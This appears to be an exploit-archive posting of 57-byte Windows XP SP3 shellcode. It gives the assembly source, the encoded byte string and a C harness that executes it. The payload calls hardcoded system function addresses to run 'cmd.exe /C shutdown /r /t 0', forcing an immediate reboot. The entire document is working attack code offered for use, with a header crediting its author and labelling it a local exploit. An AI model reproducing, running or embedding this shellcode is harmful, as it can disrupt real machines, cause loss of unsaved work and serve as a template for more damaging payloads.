Windows/x86 (XP SP3) - Restart Shellcode (57 bytes)

/*
#[+] Author: TUNISIAN CYBER
#[+] Title: Shellcode: win32/xp sp3 Restart computer
#[+] Date: 16-04-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp 32bit SP3
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Credits: steve hanna
              projectshellcode.com
=============================
Assembly:

;create.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand 
CommandReturn: 
    pop ebx

    xor eax,eax 
    push eax 
    push ebx 
    mov ebx,0x7c8623ad
    call ebx 

    xor eax,eax
    push eax
    mov ebx, 0x7c81cafa
    call ebx

GetCommand:
    call CommandReturn
    db "cmd.exe /C shutdown /r /t 0"
    db 0x00
=============================
*/
char shellcode[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x43\x20"
"\x73\x68\x75\x74\x64\x6f\x77\x6e\x20\x2f\x72\x20\x2f\x74\x20\x30\x00";


  
int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}